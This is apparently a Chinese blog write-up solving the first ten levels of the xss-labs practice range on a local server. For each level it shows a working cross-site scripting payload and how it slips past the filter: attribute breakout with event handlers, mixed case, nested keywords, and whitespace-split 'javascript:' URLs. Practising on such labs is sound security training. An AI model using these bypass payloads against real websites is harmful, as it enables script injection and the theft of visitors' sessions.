XSS挑战之旅(1~10)

        xss-labs是国内一个大佬开源的xss漏洞靶子,包含一些常见的xss攻击方法。随便百度一下,就能找到源码以及搭建方法,比较简单,这里就不介绍了。

LAVEL 1
127.0.0.1/xss/level1.php?name=test

在“name=”后面写什么,网页就显示什么。

查看源码:

查看源码,发现写入的数据在<>标签的外面,那么name的值直接换成JS:<script>alert(1)</script>

LAVEL 2
http://127.0.0.1/xss/level2.php?keyword=test

在搜索框中输入<script>alret(1)</script>,发现没有弹窗弹出,查看网页源码,发现<>都被过滤掉了,但value里面没有过滤掉,闭合value的值,"><script>alret(1)</script>成功弹出窗口。

LAVEL 3
http://127.0.0.1/xss/level3.php?keyword=wait

在搜索框中输入<script>alret(1)</script>,发现没有弹窗弹出,查看网页源码,发现<>都被转义了
< : &lt;
> : &gt;
尝试直接用被转义后的实体内容带入:"&#62;&#60;script&#62;alert(1)&#60;script&#62;
发现还是不行。(这里使用了编码绕过,关于编码绕过的内容可以查看:https://www.jianshu.com/p/1035fca0e8b9)

由于<>都被转义了过滤了,可以利用input标签的其他属性进行窗口弹出,
 ' onfocus=javascript:alert(1)  '

这里还有个思路,就是在源码里直接修改input标签里的内容,也能实现窗口弹出,这种方法对有input标签的题目都有用。
<input name=keyword value='xxx'  type="button" onclick=alert(1)>
点击xxx按钮就可以弹出窗口

LAVEL 4
http://127.0.0.1/xss/level4.php?keyword=try%20harder!

在搜索框中输入<script>alert(1)</script>,查看网页源码,发现<>被转义和过滤掉了。和题目三一样,可以利用input标签的其他属性进行窗口弹出,
 " onfocus=javascript:alert(1)  "
或者把input标签的内容改为:
<input name=keyword value='xxx'  type="button" onclick=alert(1)>

LAVEL 5
http://127.0.0.1/xss/level5.php?keyword=find%20a%20way%20out!

在搜索框中输入<script>alert(1)</script>,查看源码,发现script被转义成scr_ipt,on被转义成o_n,但javascript没有被转义。输入:
"><a href=javascript:alert(1)>点我啊</a>
成功弹出窗口

LAVEL 6
http://127.0.0.1/xss/level6.php?keyword=k&submit=%E6%90%9C%E7%B4%A2

在搜索框中输入<script>alert(1)</script>等代码。发现转义了script、on、href、src等关键词。尝试大小写绕过:
" ><sCRipt>alert(1)</script>
也可以使用万能的方法,修改input标签里面的内容
<input name="keyword" value="k" type="button" onclick="alert(1)" >

LAVEL 7
http://127.0.0.1/xss/level7.php?keyword=nice%20try!
发现过滤了很多关键词:
<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:
尝试使用大小写绕过,没绕过,发现输入sscr变成了s。
"><scscriptriptscript>alert(1)</scscriptriptscript>
成功弹出窗口。

LAVEL 8
http://127.0.0.1/xss/level8.php?
输入<script>alert(1)</script>,发现输入的内容在a标签的href内。

在网址后面加:javascript:alert(1),变成javascr_ipt:alert(1),大小写绕过没用,利用属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()的特性,成功绕过:
http://127.0.0.1/xss/level8.php?keyword=javas%0dcript:alert()
一定要在浏览器中运行,在输入框中输入javas%0dcript:alert,点击添加友情链接按钮,输入内容中的编码字符不会被解码,而是当成文字提交。

LAVEL 9
http://127.0.0.1/xss/level9.php?keyword=not%20bad!

输入javascript:alert(1)查看源码显示“链接不合法”,尝试输入正常的链接:http://127.0.0.1显示正常,自己写了一个网页插入:
<html>
<script>alert(1)</script>
</html>
http://127.0.0.1/xss/level9.php?keyword=http://127.0.0.1/xss.html

有窗口弹出,并没有得到自己所要的答案。这个窗口属于自己所编写网页的窗口,并不是题目所属网页窗口。想了好久到没法绕过,看了网上网友写的wirteup,才明白。输入的代码中必须含有http://才不会被提示“链接不合法”。
http://127.0.0.1/xss/level9.php?keyword=javas%0acript:alert(1) <!--  http://  -->
http://127.0.0.1/xss/level9.php?keyword=javas%0acript:alert(1) // http://  

LAVEL 10
http://127.0.0.1/xss/level10.php?keyword

发现输出框都被隐藏起来了,使用input万能法,把其中一个input中的内容该为:
<input name="t_link"   value=""  type="button"  onclick=alert(1)>   
点击页面按钮,即可弹出茶窗口

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 前言 这是比较简单的xss练习小游戏,非常适合入门。一直以来,对xss的内容总感觉有一些屏障,应该是因为动手实践太...
    煊奕阅读 2,910评论 0 2
  • XSS总结: xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的...
    jiaoyurun阅读 807评论 0 0
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,381评论 0 16
  • 这篇故事是关于仗财欺人的,大帅和六子是两个对立面。大帅是仗财欺人的人,六子是不畏权贵、自尊自爱的人。读完故事之后,...
    钟毓文阅读 387评论 0 4
  • 没认识八正道老师之前,自己基本没有理财的概念,更不懂信用卡的价值,几年前跟风办了几张信用卡,但都只是用来纯消...
    木小凤阅读 207评论 0 0